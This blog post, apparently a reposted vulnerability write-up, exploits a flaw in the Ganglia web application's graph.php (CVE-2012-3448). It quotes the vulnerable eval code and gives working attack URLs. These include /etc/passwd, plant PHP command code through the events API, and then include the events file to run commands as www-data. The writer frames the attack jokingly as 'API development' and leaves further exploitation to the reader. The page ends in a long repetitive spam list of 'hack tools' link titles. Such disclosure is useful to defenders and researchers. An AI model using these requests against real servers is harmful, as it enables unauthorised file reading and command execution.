http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Related articles
- Hack Tools
- Pentest Tools Url Fuzzer
- Pentest Tools List
- Hacking Tools Windows 10
- Underground Hacker Sites
- Pentest Tools Android
- Pentest Tools For Android
- Hacker Tools Linux
- Hacking Tools For Pc
- What Are Hacking Tools
- Nsa Hack Tools
- Hack Tools For Mac
- Pentest Tools Framework
- Pentest Tools Linux
- Hacker Tool Kit
- Pentest Tools For Android
- Hack Apps
- Beginner Hacker Tools
- What Are Hacking Tools
- Blackhat Hacker Tools
- Beginner Hacker Tools
- Hack Apps
- Hacker Tools Linux
- Hacker Tools For Windows
- Hack Tools For Ubuntu
- Computer Hacker
- Hacker Tools Free
- New Hacker Tools
- Pentest Tools Subdomain
- Hacker Tools For Mac
- Hak5 Tools
- Nsa Hack Tools Download
- Hacker Tools Online
- Hacking Apps
- Ethical Hacker Tools
- Hacking Tools For Windows 7
- Hacking Tools Windows
- Pentest Tools Nmap
- Free Pentest Tools For Windows
- What Is Hacking Tools
- Physical Pentest Tools
- Hack And Tools
- Best Pentesting Tools 2018
- Termux Hacking Tools 2019
- Free Pentest Tools For Windows
- Black Hat Hacker Tools
- Bluetooth Hacking Tools Kali
- Pentest Automation Tools
- Hacker Hardware Tools
- Nsa Hacker Tools
- Hack Tools For Pc
- Hacking Tools For Pc
- Hacking Tools Online
- Hacking Tools Windows
- Hacker Tools Software
- Hacking Tools Windows
- Hacker Tools Linux
- Pentest Tools For Windows
- Hacking Tools Software
- Free Pentest Tools For Windows
- Hacker Tools 2020
- Black Hat Hacker Tools
- Install Pentest Tools Ubuntu
- Hacker Tools For Mac
- Hack Website Online Tool
- Hacker Tools Github
- Hack Tools Mac
- Hacker Tools For Ios
- Pentest Tools Website
- Best Pentesting Tools 2018
- Pentest Tools
- Hacker Tools Apk
- Pentest Tools For Ubuntu
- Easy Hack Tools
- Nsa Hack Tools
- Pentest Tools Github
- Pentest Tools For Android
- Blackhat Hacker Tools
- Pentest Tools Free
- Hacker Tools Windows
- Nsa Hack Tools
- Hacking Tools For Windows
- Hack Tools For Windows
- Hacker Techniques Tools And Incident Handling
- Tools 4 Hack
- Best Hacking Tools 2020
- Hacker Security Tools
- Hacking Tools For Mac
- Hack And Tools
- Pentest Tools For Ubuntu
- Hack Tools
- Hack Tools Download
- Android Hack Tools Github
- Hacking Tools Kit
- Pentest Tools Apk
- Hack Tools For Games
- Install Pentest Tools Ubuntu
- Hacker Search Tools
- Usb Pentest Tools
- Github Hacking Tools
- Hacking Tools For Kali Linux
- Ethical Hacker Tools
- Hacker Tools 2019
- Hacker Tool Kit
- Hacking App
- Hacking Tools For Mac
- New Hack Tools
- Hacker Techniques Tools And Incident Handling
- Hack Tool Apk No Root
- Hack And Tools
- Hack Tools Online
- Hak5 Tools
- Tools For Hacker
- Nsa Hack Tools
- Beginner Hacker Tools
- Hacker Tools Github
- Pentest Tools List
- Hacking Apps
- Hack And Tools
- Hack Apps
- Hack Tools 2019
- Hacker Tools Mac
- Physical Pentest Tools
- Hacking Tools Windows
- Hacker Tool Kit
- Hacking Tools Mac
- Hack Tools Github
- Hack Tools Online
- Hacking Tools Name
- Easy Hack Tools
- Hack Tools 2019
- Install Pentest Tools Ubuntu
- Pentest Tools Nmap
- Hacking Tools Name
- Hack Tools 2019
- Best Pentesting Tools 2018
- Hackrf Tools
- How To Install Pentest Tools In Ubuntu
- Pentest Reporting Tools
- Hacking Tools Mac
- Hacking Tools Usb
- Hack Apps